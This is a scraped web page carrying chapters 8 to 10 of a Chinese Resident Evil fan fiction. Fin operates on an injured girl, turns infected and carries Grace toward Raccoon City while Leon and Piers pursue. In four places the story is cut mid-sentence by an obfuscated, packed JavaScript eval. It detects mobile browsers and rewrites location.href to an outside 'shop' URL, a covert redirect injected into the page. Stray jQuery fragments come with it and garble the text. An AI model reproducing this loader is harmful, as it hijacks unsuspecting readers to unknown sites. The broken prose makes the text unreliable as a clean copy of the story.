芬翻开艾米丽的眼皮,然后在心里骂了自己一声,因为她完全忘了女孩儿有白内障,“艾米丽?艾米丽!听到我的声音就尽量答应一声。我需要你答应我一声。艾米丽!”她拍了拍女孩儿凉冰冰的脸。 艾米丽完全没有反应。 “怎、怎么办?”格蕾丝紧张得直咬手,“我、我、我们该怎么办?怎么救她?” “立刻送医院。”芬并没多说,但就算现在救护车已经开到小教堂门口、急救人员已经准备就绪,艾米丽也未必能支撑到医院。 这小姑娘顶多还有不到半个小时,甚至更短。 “砰”的一声,小教堂的门被人猛地推开,芬和格蕾丝一起惊吓地转头看过去,幸好进来的是里昂。 “里昂!”格蕾丝叫了一声,“我们得去医院,立刻。艾米丽已经晕过去了。” “先撤退,这地方不安全。”里昂上前迅速扫视了一下躺在地板上的孩子,俯身小心翼翼地把她抱起来,“从那边的门出去就是净水厂,我们的出路就在那里。来吧。” 但还不等三人从教堂角落的那扇小门出去,一旁的窗户“砰”的一声被丧尸撞响了,眨眼间玻璃就碎了一地。 “真是没完没了。”里昂回头将艾米丽交给了刚刚被吓得大叫一声的格蕾丝,然后抽出武器转身抬手就是两枪,一枪命中头部一枪命中胸口,把正在爬窗户的丧尸打得躺回了外面的草丛里,“你们先走,我来招待这些朋友。走!” 芬原本还想跟里昂说几句话,但现在并没有时间,因为教堂不止一扇窗户,而且大门也还开着,每个地方都有感染者在蹒跚进入,又被里昂一枪枪放倒。 艾米丽还需要救助,而格蕾丝虽然懂一些急救,但芬怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440255|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑艾米丽现在光靠心肺复苏根本不可能活下来。 于是芬转头跟上了格蕾丝,两人沿着狭窄的楼梯一路向下,深入临近的净水厂设施内部。 “这里真的有出路吗?”格蕾丝一边走一边低声说,这看起来是个相当庞大的设施,阴暗潮湿、布满青苔的石砖墙、石砖地,过道里灯光昏暗、金属生锈,空气中还弥漫着一股氯的味道。 “等里昂过来我们就知道了,他应该有地图。”芬也压低声音。她总觉得自己在这个不见人影的地方听到了某种东西移动的声音,但又不想说出来吓唬人。 万一是她疑神疑鬼的出现幻觉了呢。考虑到已经三天没有好好吃饭喝水睡觉,芬觉得有幻觉也不奇怪。 “看,这边亮一些。”格蕾丝快步走在前面,又登上一小段儿台阶之后,她找到了一道货运通道一样又高又宽的大门,“是死路。”她走进去之后说了一句。 芬正想让格蕾丝把女孩儿放到这个看起来像是货仓的房间角落的那张床上,但就在这时,一连串“砰砰”声从门外传来,然后是怪物嘶哑的喉音。转过头,芬看到那个巨大的畸形怪物正像某种动物一样沿着金属支架爬行。 “哦不,它还活着。”格蕾丝低喃了一声,上前将艾米丽放到那张床上,然后朝门走了几步,又停下,“我不能让它再伤害艾米丽。”她说,然后深吸了一口气,“打开顶棚的话,阳光就会照进来了吧?”她看了一眼手表,自顾自点了点头。 “格蕾丝,”芬有些纠结,“你……” “我来对付它。”格蕾丝这次的声音没再颤抖,她必须保护艾米丽,“芬,你能帮帮艾米丽吗?帮她撑到我们安全离开?” 芬说:“内出血,我可能得打开她的腹腔给她止血。”她没说这么做的风险有多高,没有无菌环境,没有妥当的工具,即便成功止血,之后的感染和并发症也可能要了艾米丽的命。 但什么都不做,艾米丽也活不长,尤其是外面还有个失控的生化武器在巡逻。 “眼下只有这个办法。”芬最后说道。 格蕾丝冷静地点了点头,“那就那么办。”说完,她头也不回地走了出去,放下货仓的卷闸门,切断了这里和外界的危险。 芬长长地出了一口气,先到床边再次确认艾米丽的状态——深度昏迷,完全失去意识。然后她打开自己的腰包,拿出手术刀、镊子,还有她搜来的一大卷医用纱布。 没有麻药、没有无菌手套、没有止血钳,但至少还有缝合针线和酒精,也不算是绝境。 “撑住啊,小孩儿。”芬说着移开伤口上的纱布,把艾米丽那身已经被血浸透的裙子剪开更多,露出仍在不断出血的伤口。 她的计划很简单:打开腹腔,找到异物取出,然后用纱布填塞止血,最后缝合皮肤。 也没必要考虑风险了,因为这每一步都可能造成死亡。芬深深地吸了一口气。格蕾丝去打那场属于她的仗了,自己也不能退缩,毕竟两人能成功逃出来多亏了艾米丽的帮忙。 必须孤注一掷。 8. Chapter 8 芬有过手术经验,当然了。不提那些在自己身上的疯狂实验,十多年前在海岛上的时候,她就给感染病毒的皮尔斯做过截肢。 只不过当时器具齐全,还有机器人护士从旁协助,跟眼下这种绝望情形、绝望举动没太多的可比性。 开刀之后,芬的视野几乎立刻就被红色完全淹没了。别说异物,一时间她什么都看不清,不得不转开脸使劲闭眼。 而在这种没打麻药的情况下,艾米丽居然也没被疼醒。但这至少降低了手术难度——芬未必腾得出手来按住一个挣扎的病人,她还得把手伸进伤口里去找异物呢。 滚烫、滑腻的血早已完全浸透了芬的右手,她用于摸索的两根手指不断地打滑,脑海中用于计时的表针正在毫不留情地一格一格向前走。但她终于还是找到了造成内出血的罪魁祸首:硬硬的小东西摸起来像是金属。鬼知道是从直升机的哪个部件上脱落,然后扎进艾米丽体内的。 芬不敢着急,她知道取出异物之后出血会更严重,现在腹腔里乱七八糟的,芬没有条件完成消毒,只能先用纱布进行填塞。 唯一的好消息是她的手一点儿也没抖,很好。出血点也找到了,芬用纱布压在上面,几乎能感到纱布下的血管在跳动。 不能慌,但还得快,不然艾米丽失血而死也就是转眼的事儿。 呼吸,然后寄希望于艾米丽也在呼吸。 等芬成功止住出血然后开始缝合皮肤的时候,她觉得自己隐约听到了外面传来很大的响动,但那只在她全神贯注的大脑角落一闪而过。 艾米丽的生命体征算不上平稳,但也没有消失。女孩儿的求生欲望很强,这很好。芬一针一线将伤口拉拢起来,一小截纱布被她留在外面,免得送去医院之后对接不好直接再次开刀,那她这一场也就白忙活了。 想到这里,芬在裤子上擦了擦手,从腰包里取出纸笔开始写下手术时间。 现在,她的手开始抖了,字儿写得歪七扭八,专业单词一个也想不起来怎么拼,但至少芬还记得二十六个字母怎么写。 写完又描粗了一遍之后,芬把纸条用纱布绑在了艾米丽身上。 然后,她扶着旁边的桌子缓了缓。头晕,大概是低血糖终于在高度集中注意力之后追了上来。芬再次擦了擦手,然后疼得叫了一声。 是之前在直升机上划伤的口子,刚才手术的时候她完全忘了这回事,现在伤口附近全是血,也不知道是她自己的还是艾米丽的。 妈的。妈的! 芬咬紧嘴唇,从包里拿了点儿酒精出来倒在掌心,然后用纱布胡乱缠了两圈。现在好了,等B.S.A.A.到了之后,她必须说明自己和艾米丽都存在感染风险。不只是细菌感染。 还有病毒。 但事实上,芬首先想到的是自己体内休眠的病毒。她承认,艾米丽体内也有病毒并且能感染自己的这一可能性没有立刻进入芬的脑海。 是她失算了。 格蕾丝成功打开顶棚让那个怪物死于光照之后,几乎是一路小跑冲回了艾米丽和芬所在的仓库。她精神振奋却又心怀忐忑,担心艾米丽出事,却又迷信地认为自己顺利干掉了怪物,所以艾米丽这边也能顺利。 芬看起来那么专业,一定能救艾米丽的。 当卷闸门向上抬起之后,格蕾丝立刻看到了躺在床上的艾米丽,还有面朝墙、背对门站着的芬。 “怎么样?”她问了一声,快步跑到床边,艾米丽的呼吸平稳了许多,心跳也比之前强了不少。“谢天谢地,谢天谢地你还活着。”格蕾丝看到了缝合的伤口,还有大概是芬留下的一张说明纸条,写着手术时间和流程之类的,“芬,她没事了吗?” “芬?”迟迟没有得到回应,格蕾丝转头望向依旧背对自己站着的芬,“你……你还好吗?” 她站起来,迟疑地朝芬走了一步,心头突然涌起一阵恐惧。“芬?” “血……”芬嘟哝道,摇晃了一下,“血里有毒。” “什、什么?”格蕾丝又往前走了一步,“什么血?” “小孩的血。别碰。”芬的声音听起来不对劲,语气也不对劲,但她回答了格蕾丝的问题。格蕾丝拼命抓住这一点,继续靠近芬。 拜托、拜托、拜托了,不要有事,千万不要有事。 格蕾丝轻轻碰了碰芬的肩膀,芬的衬衣在启动直升机的时候报废了,里面的这身长袖现在也破破烂烂的,隔着衣服,她能感觉到芬滚烫的体温。 “你、你是不是生病了?”格蕾丝往侧边挪了挪,想看清芬的脸,“芬?回答我。” 芬终于笨拙地挪动脚步转过身来,仓库里冷色调的光打在她的脸上,照亮她脸上发灰的皮肤和毫无血色的嘴唇。但真正让格蕾丝尖叫后退的,是芬的眼睛:瞳仁已经缩成小小一点,仿佛被周围的眼白淹没了一样。 “血。”芬踉跄着往前走了一步。格蕾丝伸手去摸枪,但冰凉的手指怎么也握不住枪柄,她的脑海里突然闪过离开前自己对芬说的那句,“你能帮帮艾米丽吗”。 所以是艾米丽的血让芬感染了吗?格蕾丝一边后退一边无助地想,她早该注意到的,艾米丽被关在这家疗养院的地下室里,艾米丽说过“药”让她的眼睛变坏了。格蕾丝应该提醒芬注意的,但她脑子里全是“救救艾米丽”,现在芬变成这样,全都是她的错。 “芬……”格蕾丝没有拔枪,“芬,听我说,我、我会找到解药救你的。” “解药。”芬还能说话,她也没有攻击格蕾丝。 但她的眼睛…… “格蕾丝!”里昂的声音蓦地从身后响起,“闪开!” 格蕾丝迅速回头,就看见持枪大步靠近的里昂,“别!”她踉跄着扑过去,一把抓住里昂的胳膊,“别、别、别开枪,她还会说话,我们还能帮她!” 里昂并没这么乐观,他在疗养院里见多了会说话的丧尸。 然而,真正棘手的是芬可不是一般的感染者。她之所以专研生化病毒与人体的兼容性与平衡疗法,是因为她本人就感染了多种病毒。 “芬?”里昂试着叫了一声,他看着芬的脸,又仔细看了看她的眼睛,感染迹象太明显了,和他见过的已经完全病变的丧尸几乎没有两样。 唯一的区别是芬目前没有主动攻击他们。这是好事还是坏事? “芬。肖医生!”里昂再次尝试,“尼凡斯夫人?如果你能听懂我说话,我需要你回答我。” “皮……”芬嘟哝着朝里昂抬起一只手,里昂注意到她手上干涸的血迹以及包裹在掌心的染血纱布。 里昂没有转移目光,他问仍旧死死抓着自己衣袖在一旁发抖的格蕾丝,“她是怎么变成这样的?你知道吗?” 格蕾丝回答:“我、我、我让她帮忙给艾米丽止血,芬说……她说血里有毒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440256|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她没有哭,暂时还没有。 “嘿,肖医生,你能回答我吗?”里昂做最后一次尝试,在死一般的寂静中等了几秒钟之后,他开始联络雪莉,并且没有放下持枪手臂。“雪莉,是我。B.S.A.A.还有多久能到?” “二十分钟。”雪莉回答,“一切还顺利吗,里昂?” 也许她从里昂的声音中听出了不对。 “芬感染了,没有自主意识。”里昂简短地说,“虽然没有主动攻击迹象,但要做好最坏的准备。” “天啊,天啊。”雪莉低声说,沉默片刻后,她不确定地说,“皮尔斯也在救援队里,你觉得我应该告诉他吗?” “告诉他。”里昂看着芬那双变异的眼睛回答,然后轻柔但不容抗拒地推开格蕾丝抓着自己的手。 “别告诉他。”芬冷不丁地开口,吓得格蕾丝差点叫出来。而面前的芬突然朝里昂走了一步,她没再说什么,但喉咙咯咯作响,仿佛在努力尝试。 里昂压下迅速涌起的希望,谨慎地问道:“别告诉谁?” 芬说了个词,里昂觉得那不是英语,但他该死的也没学会中文,只听出像是有个P的音。 “你能说出自己的名字吗?”里昂决定换个问题,与此同时,他看到芬的瞳仁突然开始扩大,然后缩小,再扩大,像是正疯狂变焦的摄像头一样。 “什、什、什么?”格蕾丝也看到了,而且把这视为奇迹般康复的征兆,“芬?芬?!” 让里昂完全没有料到的是,芬突然抱着自己的头原地蹲了下去,然后像个突然犯困的孩子一样侧躺在地。 她的动作虽然不像正常人那样流畅,但丧尸可没法这么自如地控制身体。难道……她体内的多种病毒开始活跃然后治好了她? 格蕾丝已经一头冲了过去,里昂没能拉住她,她在芬身旁“咚”的一声跪下来,抓着芬的肩膀一阵摇晃,“芬?你能听到吗?你还好吗?嘘,嘘,你没事,你会没事的。” “疼……疼、疼、疼、疼。”芬倒抽了一口冷气,她的声音听起来不像她自己,语气也不像,“放开我!放开我!” “对不起!”格蕾丝迅速收回手,但芬仍在地上扭动、挣扎,仿佛被看不见的手抓住,她发出尖叫声古怪又尖细,充满孩子气。 格蕾丝求助地望向里昂,“怎么回事?我该怎么做?” “离她远点儿,格蕾丝。”里昂紧张地上前一步,手里的枪斜斜下指,然后在格蕾丝没有立刻听从的时候提高声音命令道:“离她远点!” 就在这时,芬蓦地抬起了头。格蕾丝没看到,但里昂看到了,她的两只眼睛——虽然瞳仁恢复了正常大小,但颜色完全是赤红色的。 眨眼间,芬就以非人的速度跳了起来,而且目标明确、一把抓向格蕾丝。里昂连开了两枪,分别打中芬的肩膀,但那只是让她动作一缓。 该死的。格蕾丝离芬实在太近了,而当芬一把抓住还没反应过来的格蕾丝扛到肩膀上的时候,里昂完全找不到安全的射击角度。 “站住!”里昂喊了一声,但一阵剧痛蓦地从左胸窜起,他追击的步伐被迫一顿,然后膝盖一软跪倒在地,腥甜的血眨眼间就从喉咙涌了出来。 里昂控制不住地咳嗽着把血吐了出来,他的胸口在这瞬间被疼痛完全占据,几乎无法保持心跳。 等他的视野恢复清晰,能够勉强站起身来时,芬已经带着格蕾丝不见了踪影。 9. Chapter 9 几个小时后。 通往浣熊市的环山公路上。 里昂一边开车,一边分神看了一眼坐在副驾驶上的皮尔斯·尼凡斯,后者正沉着脸用手指快速滑动手机上的照片——那是B.S.A.A.共享给他的相关信息。 在这几个小时的漫长煎熬中,带着格蕾丝一路逃窜的芬·尼凡斯多少也被目击过几次,她一路向着西北方向以绝对非人的速度前进,目的地极有可能是三十年前遭到云爆弹轰炸后被彻底封锁的浣熊市。 这和雪莉在维克多·基甸的电脑里找到的加密坐标也符合。 B.S.A.A.成功让警察、州警还有F.B.I.的人没有直接介入开火,但B.S.A.A.也没能拦下来芬。事实上,是克里斯没有下令强行拦截。 克里斯·雷德菲尔德队长对此做出了明确指示:只追踪、不拦截。 当时去疗养院扑了个空、结果只能咬牙帮忙善后的皮尔斯在知道克里斯的举动之后,跟克里斯在电话上朝彼此大吼大叫了整整一分钟,然后又诡异地达成了某种共识,接着皮尔斯就毫不客气地上了里昂的车。 他只告诉里昂,自己的行动目前不属于B.S.A.A.派遣,是他的个人行为。 倒不是说里昂能因为这家伙的惜字如金就把他踢下车去。 “你知道,”里昂开口了,因为看起来皮尔斯似乎是想用目光在手机上烧两个洞出来,“当时我别无选择,只能开枪。” “我知道。”皮尔斯回答,还是没有移开目光,尽管他已经滑到了最后一张照片,拍得还算清晰,能看到芬正把格蕾丝扛在肩上从某个房顶上一跃而下。 芬的眼睛是暗红色的,但面部皮肤已经没了里昂描述的那种“灰白色”。 感染更深了?还是某种变异?皮尔斯不知道,因为芬才是那个搞科学的。 至少克里斯对此有个该死的想法,他认为芬带着格蕾丝前往浣熊市是有原因的,而最好的办法就是将计就计,搞清楚究竟是什么驱使着失去控制的芬绑架格蕾丝前往浣熊市。 病毒?还是人为意志操控? 皮尔斯关掉手机揣进兜里,抱起胳膊。他在市里行动的时候为了遮挡右眼附近的疤痕还戴了一副黑色的防风镜,眼下他把防风镜推到额头上,透过汽车的风挡玻璃瞪视着飞速倒退的公路。 这条路已经和浣熊市一起被废弃了三十年,路两旁的灌木丛却并未完全吞噬道路,顶多是路上积满尘土,偶尔出现的路牌基本都锈得只剩框架。 “最好坐稳了,士兵。”里昂说着把汽车的速度提了起来,前方是非军方路障的最后一关,曾经竖起的铁栅栏不知何时已经生锈扭曲成了一团,车头撞上去的时候只发出“砰”的一声闷响,把这些破烂儿远远地撞飞出去。 “嘿,我们应该有个计划吧?”皮尔斯转头看了里昂一眼,“浣熊市毕竟是个城市,对吧。我们要去哪儿找芬和那个F.B.I.?” “维克多·基甸的电脑里有个坐标,我们先去那里。”里昂回答,“但在那之前,我们要先抵达军方在郊区设下的封锁路障,想办法通过,然后前往市中心。” 皮尔斯哼了一声,“听起来是小菜一碟。你带炸药了吗?” 里昂反问:“我看起来像是兜里还放得下炸药桶的样子吗?D.S.O.上层已经给雪莉施压让她停止调查了,眼下在我车上的就是我们所有的装备。所以,还是让我们走一步看一步吧。” “不用担心,B.S.A.A.三年前曾派出一支小队到浣熊市执行任务,他们应该留下了不少东西。”皮尔斯低声说。 “三年前?”里昂吃了一惊,“为什么?他们是来干什么的?” “高度机密,我只知道那队人马全军覆没。”皮尔斯不自在地耸了耸肩,“当时我在欧洲执行任务,不了解详情。” “听说你们北美分部最近和总部闹翻了。”里昂瞟了皮尔斯一眼,“我应该担心吗?” 皮尔斯简短回答:“克里斯知道他在做什么。”顿了顿,他又问:“你老婆呢?” “不知道。”里昂回答的时候在心里叹了口气。 “芬……她知道你身上的这些症状吗?”皮尔斯显然没有假装看不见里昂脖子上的黑色瘢痕,也不觉得里昂戴着那副指头都不露出来的皮手套是因为怕冷。 里昂只是点了点头,过了一会儿才说道:“她检查过我和艾达的血样,本来正在着手研究,想找到解药。” “然后那个狗娘养的就绑架了她。”皮尔斯握紧搁在大腿上的左手,“我们会找到芬,然后找到解药。”他说着看了里昂一眼,“毕竟要是浣熊市幸存者都出现了同样的病毒感染症状,那个跟保护伞有关系的疯子王八蛋又在电脑里藏了浣熊市的坐标,那么答案就在这里的可能性非常高。” “是啊。”里昂说,顿了顿,补充道,“你不用拐弯抹角安慰我,孩子,我好着呢。” 皮尔斯翻了个白眼儿,“别叫我‘孩子’,谢了,老爷子。” 里昂被逗乐了。 格蕾丝意识到自己多半是昏迷了一段时间,可等她醒来,噩梦也并没有结束——她仍被芬扛在肩上,而后者向前飞奔的速度几乎可以媲美拉力赛车。 这要只是个噩梦就好了。 “芬,不要……”格蕾丝挣扎了一下,大脑充血的感觉跟当初在疗养院醒来实在太像,而且被芬带着全速前进让她呼吸困难,“放开我!” 好消息是,格蕾丝的手脚并没被束缚,只是后腰被芬的一只手用力按住。这个姿势让她的肚子被芬的肩膀顶得生疼。要不是胃袋空空,格蕾丝觉得自己随时都能吐在芬的身上。她勉强抬起头,看到被两人抛在身后、飞速倒退的破旧公路,以及锈成废铁的报废汽车、建筑残骸。 格蕾丝晕头涨脑的,一时间完全搞不清自己在哪儿。 “放、放开我……”她再次挣扎了一下,脚踢到了什么——多半是芬的肚子——然后格蕾丝一鼓作气,推着芬的后背猛地往旁边一挣、一滚。 芬此刻正在一辆辆汽车上跳跃前进,她的眼睛半睁半闭,就像在梦游一样。而格蕾丝的突然挣扎让芬一下失去了平衡,她的前进速度又快,结果两人眨眼间就从车顶滚了下去,重重摔在地上。芬的脑袋“咚”的一声磕在另一辆车上,好大一声响。 格蕾丝虽然摔在了平地上,幸运地没撞上什么障碍物,但也结结实实打了几个滚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440257|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼得差点重新晕过去。她喘息了片刻,咬紧牙关爬起来,叫了一声:“芬?” 芬呻吟了一声,捂着脑袋蜷缩在地上,情真意切地“嗷”了一声。 格蕾丝匆匆抹了把脸,膝盖着地朝芬爬了过去,她有点儿害怕再看到那双红色的眼睛出现在芬脸上,但当芬捂着后脑勺抬起头的时候,那双眼睛又恢复了带点儿深褐的柔和黑色。 “哦,谢天谢地。”格蕾丝几乎是扑到了芬的身边,“你还好吗?你受伤了吗?” “格蕾丝?”芬使劲眨着眼睛,然后撑起上半身,“发生什么了?这是哪里?嗷!我的肩膀!”她捂着左肩脸上露出吃痛的表情。 “你……”格蕾丝纠结地看着芬,然后决定先查看一下她的肩膀,“在净水厂的时候你中枪了,好像是两枪。” 芬茫然了片刻,然后面上浮现出恐惧之色,“我感染了吗?我伤人了吗?” “没有。”格蕾丝立刻摇头说道,“你只是……把我带到这里了。” “怎么会发生这种事?我感觉像是作了个噩梦……”芬捂着头不确定地说道,她的脑海中闪过一些断断续续的梦境,“我、我好像变成了一个小孩,在一个孤儿院里。” 当然,芬从没做过孤儿,那间摆满小床的房间于她而言也完全是陌生的。更别提,挂在墙上的日历写着1990年,一群红眼睛的怪小孩儿在四处游荡,咯咯怪笑着拧断医生和护士的脖子。 芬甚至不确定那究竟是不是噩梦——那家孤儿院的细节之丰富,给人的感觉不像是纯粹出自想象力的产物。还有那种惊慌和恐惧的味道。 此外,在梦境接近尾声时,芬还看到两份奇怪的文件。不是以小孩的视角,而是一个坐轮椅的老人。 “格蕾丝,”她抬头看了一眼和自己一样灰头土脸的同伴,犹豫地问道:“你有一个叫达米安的兄弟吗?” “我?”格蕾丝吃了一惊,摇摇头,“没有,我是独生女。为什么这么问?” 芬摸了摸还在阵阵作痛的后脑勺,回答:“因为在梦里我好像看到了两份文件,是两个孩子的资料,女孩儿叫格蕾丝,男孩儿叫达米安。”她收回手,看了一眼掌心的血,叹了口气,“那个女孩儿看起来跟艾米丽长得很像,名字却和你一样。” 格蕾丝瞪大了眼睛,过了一会儿才不安地说道:“应该、应该只是个梦吧。” 芬点了点头,然后又伸长脖子看了一眼周围的环境,问道:“说起来,这里究竟是哪里?不会是浣熊市吧?” 格蕾丝回过神来之后其实也是这么认为的,但她没法确定。她倒是确定了一件事,“芬,你的枪伤好像已经……愈合了。” 怎么会?是因为感染? 芬自己也摸了摸肩膀,“嘶。右边两个弹孔,说明是贯穿伤,还好。左边……格蕾丝,你帮我看看,左边是不是后面没有弹孔?” “……没有。”格蕾丝捻起芬那身灰色长袖的布料仔细检查了一下,“子弹还在里面?” “感觉应该是。”芬苦着脸开始摸索这一侧的肩膀,最后使劲按了按三角肌,“好像、好像在这里。”她抬了抬胳膊,立刻疼得冷汗直流,“哇,估计还挺深的。这下惨了。” 10. Chapter 10 芬最后决定,把子弹先留着。 “摸着应该是在三角肌和骨骼中间夹着。”她检查完之后把衣服重新整理好,一边站起来一边对担忧不止的格蕾丝解释,“开刀取出来的话也不是不行,就是疼死个人。而且肯定会流很多血。我怕我饿了这么多天,开完刀直接在地上爬。” 而且芬已经在给艾米丽开刀的时候用掉了几乎所有的纱布,现在腰包里只剩一些简单工具,简直是一穷二白。 “可是子弹留在体内不会出问题吗?”格蕾丝在学院的时候也学过一些基础的急救知识,但实操经验为零,“我们、我们现在怎么办呢,先去医院?” “我也想去医院,但这地方看着不像是能叫到出租车的样子啊。”芬叹了口气,然后认真地看着格蕾丝,“而且我很好奇,为什么病毒会让我强行把你带到这里。意识操控?我倒是见过一些能精神操控感染者的生化病毒,但这次好像不是一回事。” 更别提她做的那些怪梦了。 格蕾丝也点了点头,表情严肃起来,“而且这里是一切开始的地方,对不对?”她看了一眼周围荒凉、破败的景象,“二十八年前这里被导弹清洗,好多人都死了。” 芬抬手指了指西北方,“我在清醒过来之前,是朝那个方向前进的,对吧?” “呃。”格蕾丝回头看了看可能的来路,“我也不知道,我、我刚才摔蒙了。” “妹妹,你不是一个人。不过亏得我撞了一下脑袋,这毕竟也是一种神经调节,就是有点儿简单粗暴。”芬说着又揉了揉还在隐隐作痛的后脑勺,那里已经鼓起了一个大包,“格蕾丝,下次我要是再犯病,记得给我下巴上来一拳。你……会打人吧?” 格蕾丝看了看自己的手,想了想,严肃地点了点头。 “好了,现在我们来计划一下吧。”芬拍了拍手,“我们肯定已经在浣熊市的范围之内了,这附近的房子一看就是被炸过的。而且从罗兹山出发的话,往浣熊市前进也应该是朝西。对了,现在是9号上午,对吧?” 格蕾丝看了一眼手表,竖起大拇指。 “所以那边就是西。”芬说着爬上一辆报废的汽车使劲往远处看,“我觉得西边应该是市中心的方向。不知道还有没有通畅的路。最糟的情况下,我们搞不好得从那些建筑废墟中间穿过去。” “呃,”格蕾丝问,“芬,我们要去市中心吗?” “没错,我想要继续前进。”芬说着舔了舔已经干裂的嘴唇,跳下汽车走向格蕾丝。她想着里昂手臂和脖子上的黑色纹路,想着已经浪费掉的时间,对神情不安的年轻女孩说道:“回头的话除了安全再也没其他好处了,而且安全也是相对的。我需要知道浣熊市里有什么。直觉告诉我,罗兹山发生的一切跟T病毒、跟保护伞都脱不了干系。” 也许,找到解药的关键就在浣熊市。 “是、是因为你做的那些梦吗?”格蕾丝不确定这档口凭借直觉行事究竟可不可行,但她同样不想调头回去。 她想知道自己为什么会被绑架,想知道维克多·基甸在那家疗养院里说“你逃不脱命运”究竟是什么意思。 ——她妈妈当年遇害,是不是也和这些事情有关? ——答案会不会就在浣熊市? 如果此刻掉头离开,也许格蕾丝永远也不会再找到机会弄清楚事实真相了。 “我和你一起。”格蕾丝最后鼓起勇气,她毕竟不能扔下芬一个人在这鬼地方,“我们一起去弄清楚浣熊市的秘密。” “好。就从那家孤儿院开始。”芬说,“据我了解,浣熊市曾有一家孤儿院实际操控在保护伞公司的手里,大概位置也在市中心。” 这些情况还是艾达不久之前告诉芬的。她有些希望艾达当时再多讲一些关于浣熊市的事情,但芬也知道,自己的姐姐并不是喜欢敞开心扉的类型。 唉,也不知道现在艾达究竟在哪里,又在忙些什么。她和里昂都不是乖乖等待别人解决问题的类型,芬觉得,自己说不定会在浣熊市遇到他们呢。 还有皮尔斯。 不能多想,再想该哭鼻子了。芬用力拍了拍身上的土,检查了一下腰包里的存货——枪丢了,但一些基础工具还在。而且格蕾丝有枪,两把。 “来吧,我们先沿着路走。”她像个导游一样挥挥手里并不存在的小旗子,“目标,浣熊市孤儿院,跟紧了不要掉队。” 里昂不得不停下车的时候,他们才刚到浣熊市的市郊,离目的地还有二十几公里的距离。 “来吧,小伙子,我们得走路了。”里昂把车子熄火,并由衷地希望自己还有机会回来取这辆宝贝儿,“希望你喜欢有氧运动。” 皮尔斯跟着下了车,说道:“正好我想活动活动腿脚了。”他看看四周,建筑物虽然大多保留了基本的钢筋水泥结构,但玻璃窗毫无悬念地都被当年的云爆弹震碎了。一些道路完全被废旧汽车堵死了,还有一些倒是能勉强走人。 “你认得路吗?”皮尔斯问里昂,“98年事发的时候你就在这里吧?跟克里斯的妹妹一道。” “是啊,不过那晚我来的时候这里就已经是人间地狱了。”里昂回答,“最好跟紧了。” 皮尔斯默默抽枪在手,跟上了里昂的脚步。两人沿着不知名的公路往前走了大约五十米,就不得不从一家摇摇欲坠的咖啡馆中间穿了过去。 咖啡馆里结满了蜘蛛网。仿佛在导弹来袭之后,这地方就只有蜘蛛还在顽强存活似的。 老实说,如今的浣熊市让皮尔斯想起之前芬沉迷的那个电子游戏,叫《地铁》还是什么的。当然,浣熊市并没像那个游戏里的世界一样遭到核弹攻击,顶多是这里的空气闻起来有股沉沉的死气,寂静得令人不安。 但街上没有变异的怪物四处横行,皮尔斯觉得自己就应该知足了。 穿过咖啡馆之后,步行街上总算没那么多拦路的汽车了。时间已经是上午了,但天仍旧阴沉沉的,太阳被云层遮得严严实实。里昂看了看街对面尚能直立的公寓楼,刚想加快脚步过去探探,就听到脚底传来“咔嚓”一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440258|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唔,别担心,这可怜的家伙大概不会抱怨头疼。” 皮尔斯看着里昂鞋底那颗被踩碎的骷髅头,耸了耸肩。 话音未落,两人都隐约听到头顶传来某种“嘁嘁嚓嚓”的瘆人声音。他们对视一眼,然后缓缓抬头往上看去。 一只巨型蜘蛛——足有天杀的坦克大小——正沿着大楼外墙迅速往下朝他们爬过来。 “我艹。”里昂迅速抽出战斧在手,和皮尔斯往两个方向后退。他们都不敢把视线从这个大家伙身上移开。 巨型蜘蛛大概看出了猎物受惊,同样巨大的口器倏地张开,发出尖锐嘶叫声的同时朝下一跃,坚硬的螯肢落地时直接砸烂了水泥地面。 里昂毫不犹豫地抡起斧子劈在了螯肢之一上面,邪恶的蓝色汁液顿时四下飞溅,但蜘蛛除了发出愤怒的尖锐叫声之外,丝毫不像是感觉到疼的样子。 